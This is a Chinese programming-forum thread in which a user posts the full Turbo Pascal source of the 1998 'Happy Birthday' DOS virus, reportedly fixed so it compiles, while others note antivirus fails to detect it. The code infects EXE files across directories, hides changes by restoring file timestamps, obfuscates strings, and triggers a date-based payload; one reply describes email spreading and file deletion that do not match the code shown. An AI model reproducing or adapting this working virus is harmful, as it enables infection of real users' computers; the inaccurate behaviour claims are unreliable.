切换到宽版
  • 26792阅读
  • 41回复

Happy Birthday Pascal 蠕虫病毒 [复制链接]

上一主题 下一主题
离线archimedes

只看该作者 30 发表于: 2005-12-28
编译不通过...
离线wcwswswws
只看该作者 31 发表于: 2006-01-21
感觉一些地方有bug
离线archimedes

只看该作者 32 发表于: 2006-06-08
该程序在网上随处可见,说明不是楼主编的。
稍微修改了一下语法,通过了
  1. { Happy Birthday (c) 1998 WoRm
  2. I don't take responsibility for any damage caused by this virus.
  3. It was made for EDUCATIONAL USE ONLY.
  4. AVs : No detection
  5. Size : 8928 bytes
  6. Payload : yes - display text
  7. Stealth : yes - file time
  8. Infects : exe
  9. Encryption : no
  10. If you've got any question write to [email]w0rm@freemail.c3.hu[/email]
  11. }
  12. {$I-}
  13. uses windos,dos;
  14. const virushossz=8928;
  15. dir:array[1..4] of string[10]=('g?Z`ido','g?Zmi}o`','g?Z`idox','g?Zmi}o`cf');
  16. var exebuffer,virusbuffer:array[1..virushossz] of byte;
  17. regia:word;
  18. regit:longint;
  19. xxxx:word;
  20. disable:file;
  21. konyvt:string;
  22. eddig:byte;
  23. y,m,d,dow:word;
  24. Function Crypt(S : String) : String; {Encryption/Decryption of}
  25. Var {A string.}
  26. i : Byte;
  27. begin
  28. For i := 1 to Length(S) Do
  29. S := Char(ord(S[i]) xor (i+3));
  30. Crypt := S;
  31. end;
  32. Procedure MEGLEPETES; {Display text}
  33. begin
  34. GetDate(y,m,d,dow);
  35. if (m=6) and (d=22) then begin
  36. writeln('$Mgwxp*Izgtpk3CzDz9');
  37. writeln('$MD)XHY+z= <?:p=5''.!!:LsOs');
  38. end;
  39. end;
  40. Function DosShell(command:String):Integer;Var {Maximize HEAP before exec}
  41. OldHeapEnd,
  42. NewHeapEnd: Word;
  43. Error:Integer;
  44. Begin
  45. Error:=0;
  46. If MemAvail<$1000 then Error:=8;
  47. If Error=0 then Begin
  48. NewHeapEnd:=Seg(HeapPtr^)-PrefixSeg;
  49. OldHeapEnd:=Seg(HeapEnd^)-PrefixSeg;
  50. asm
  51. mov ah,4Ah
  52. mov bx,NewHeapEnd
  53. mov es,PrefixSeg
  54. Int 21h
  55. jnc @EXIT
  56. mov Error,ax
  57. @EXIT:
  58. end; {asm}
  59. If Error=0 then begin
  60. SwapVectors;
  61. Exec(GetEnv('COMSPEC'),command);
  62. SwapVectors;
  63. asm
  64. mov ah,4Ah
  65. mov bx,OldHeapEnd
  66. mov es,PrefixSeg
  67. Int 21h
  68. jnc @EXIT
  69. mov Error,ax
  70. @EXIT:
  71. end; {asm}
  72. end; {If}
  73. end; {If}
  74. DosShell:=Error;
  75. end; {Function}
  76. procedure futtatas; {Execute host program}
  77. var fuf,orf:file;
  78. fufa:searchrec;
  79. ix:integer;
  80. comlin:string;
  81. begin
  82. findfirst(paramstr(xxxx),Anyfile,fufa);
  83. if fufa.size>virushossz then begin
  84. assign(fuf,fufa.name);
  85. windos.getfattr(fuf,regia);
  86. windos.setfattr(fuf,Archive);
  87. reset(fuf,1);
  88. assign(orf,crypt('slhsey::"hvj'));
  89. rewrite(orf,1);
  90. windos.getftime(fuf,regit);
  91. seek(fuf,fufa.size-(virushossz+10));
  92. blockread(fuf,exebuffer,virushossz);
  93. seek(orf,0);
  94. blockwrite(orf,exebuffer,virushossz);
  95. seek(fuf,virushossz);
  96. for ix:=1 to (fufa.size-(virushossz+virushossz+10)) div virushossz do
  97. begin
  98. blockread(fuf,exebuffer,virushossz);
  99. blockwrite(orf,exebuffer,virushossz);
  100. end;
  101. ix:=(fufa.size-(virushossz+virushossz+10)) mod virushossz;
  102. blockread(fuf,exebuffer,ix);
  103. blockwrite(orf,exebuffer,ix);
  104. close(orf);
  105. windos.setftime(fuf,regit);
  106. close(fuf);
  107. windos.setfattr(fuf,regia);
  108. for dow:=1 to paramcount do
  109. comlin:=comlin+' '+paramstr(dow);
  110. dosshell(crypt('+f&pag~f|=?!uiw'+comlin));
  111. erase(orf);
  112. end;
  113. end;
  114. function fertozott(ellfa:searchrec):boolean; {Is file already infected?}
  115. var i:byte;
  116. osszeg:longint;
  117. ellkey:array[1..10] of byte;
  118. modosito:byte;
  119. ellf:file;
  120. begin
  121. assign(ellf,ellfa.name);
  122. windos.getfattr(ellf,regia);
  123. windos.setfattr(ellf,archive);
  124. reset(ellf,1);
  125. windos.getftime(ellf,regit);
  126. seek(ellf,ellfa.size-10);
  127. blockread(ellf,ellkey,10);
  128. windos.setftime(ellf,regit);
  129. close(ellf);
  130. windos.setfattr(ellf,regia);
  131. osszeg:=1;
  132. for i:=1 to 10 do begin
  133. if ellkey[i]>9 then begin
  134. modosito:=ellkey[i] div 10;
  135. ellkey[i]:=ellkey[i]-10*modosito;
  136. end;
  137. osszeg:=osszeg*ellkey[i];
  138. end;
  139. if osszeg=126000 then fertozott:=true else fertozott:=false;
  140. end;
  141. procedure fertoz(filehelye,fileneve:string); {Infect a file - filehelye=pat
  142. h}
  143. label next; {of file,fileneve=its name
  144. }
  145. var fef:file;
  146. fefa:searchrec;
  147. k:array[1..10] of byte;
  148. dt:tdatetime;
  149. procedure keygen;
  150. var z:longint;
  151. i,a:byte;
  152. begin
  153. repeat
  154. z:=126000;
  155. for i:=1 to 10 do begin
  156. repeat
  157. a:=random(8)+1;
  158. until z mod a=0;
  159. z:=z div a;
  160. k[i]:=a;
  161. end;
  162. z:=1;
  163. for i:=1 to 10 do z:=z*k[i];
  164. until z=126000;
  165. for i:=1 to 10 do k[i]:=k[i]+random(24)*10;
  166. end;
  167. begin
  168. chdir(filehelye);
  169. findfirst(fileneve,Anyfile,fefa);
  170. if doserror=0 then begin
  171. if fefa.size>virushossz+10 then begin;
  172. assign(fef,fefa.name);
  173. windos.getfattr(fef,regia);
  174. windos.setfattr(fef,archive);
  175. reset(fef,1);
  176. windos.getftime(fef,regit);
  177. if fertozott(fefa)<>true then begin
  178. seek(fef,0);
  179. blockread(fef,exebuffer,virushossz);
  180. seek(fef,0);
  181. blockwrite(fef,virusbuffer,virushossz);
  182. seek(fef,fefa.size);
  183. blockwrite(fef,exebuffer,virushossz);
  184. keygen;
  185. blockwrite(fef,k,10);
  186. windos.setftime(fef,regit);
  187. eddig:=eddig+1;
  188. end;
  189. close(fef);
  190. windos.setfattr(fef,regia);
  191. end;
  192. end;
  193. end;
  194. Procedure fertozes(path : PathStr); {This one searches subdirs of the}
  195. {Path given as parameter and }
  196. Var SearchFile : SearchRec; {Infects them (Max. 5 files/run }
  197. begin
  198. if Path[Length(Path)] <> '\' then
  199. Path := Path + '\';
  200. FindFirst(Path + '*.*', $37, SearchFile);
  201. While (DosError = 0) and (eddig<5) do
  202. begin
  203. if ((SearchFile.Attr and $10) = $10) and (SearchFile.Name[1] <> '.') and
  204. (eddig<5) then
  205. Fertozes(Path + SearchFile.Name)
  206. else
  207. if (Pos('.EXE',SearchFile.Name)<>0) and (eddig<5) then begin
  208. fertoz(Path,SearchFile.Name);
  209. end;
  210. if (eddig<5) then FindNext(SearchFile);
  211. end;
  212. end;
  213. procedure inicializacio;
  214. var inf:file;
  215. begin
  216. assign(inf,paramstr(xxxx)); {Open current file (host)}
  217. getfattr(inf,regia); {Save file time for time }
  218. setfattr(inf,archive); {Stealth and move Vx code}
  219. reset(inf,1); {Into Vx buffer. }
  220. getftime(inf,regit);
  221. seek(inf,0);
  222. blockread(inf,virusbuffer,virushossz);
  223. setftime(inf,regit); {Close file and set time }
  224. close(inf);
  225. setfattr(inf,regia);
  226. end;
  227. begin
  228. getdir(0,konyvt); {Get current dir}
  229. randomize; {For the keygenerator}
  230. eddig:=0;
  231. inicializacio; {Initialize buffers}
  232. getdate(y,m,d,dow);
  233. if dow=5 then fertozes('c:\'); {Infect files}
  234. for dow:=1 to 4 do begin
  235. chdir(crypt(dir[dow]));
  236. if ioresult=0 then fertozes(crypt(dir[dow]));
  237. end;
  238. futtatas; {Execute host}
  239. MEGLEPETES; {Payload}
  240. chdir(konyvt); {Reset original dir}
  241. end.

至于结果,我不敢试。
离线r134a
只看该作者 33 发表于: 2006-08-01
这个病毒通过邮件传递,如果用OUTLOOK,不用打开邮件也会感染。它会往外乱发邮件,另外,当月+日=13的时候,会慢慢删除你硬盘里的EXE、DLL文件,这样你就有机会重装电脑了
[ 此贴被bluetear在2006-08-01 12:09重新编辑 ]
.


祝大家明年NOIP大获全盛!


.
离线r134a
只看该作者 34 发表于: 2006-08-01
难道,这就是著名的"Happy Birthday!"蠕虫病毒么?~~~~
.


祝大家明年NOIP大获全盛!


.
离线anacreon
只看该作者 35 发表于: 2006-08-02
先说运行以后的后果。。。
代码好长。。。。晕的
离线zx_pascal
只看该作者 36 发表于: 2006-08-07
有道理!
离线archimedes

只看该作者 37 发表于: 2006-08-11
编译后,Rising v2006查不出病毒
离线r134a
只看该作者 38 发表于: 2006-08-11
pascal编的病毒都查不出来。
.


祝大家明年NOIP大获全盛!


.
离线archimedes

只看该作者 39 发表于: 2006-08-14
代码中到处是asm...end asm...end
干吗那么多汇编代码
快速回复
限100 字节
 
上一个 下一个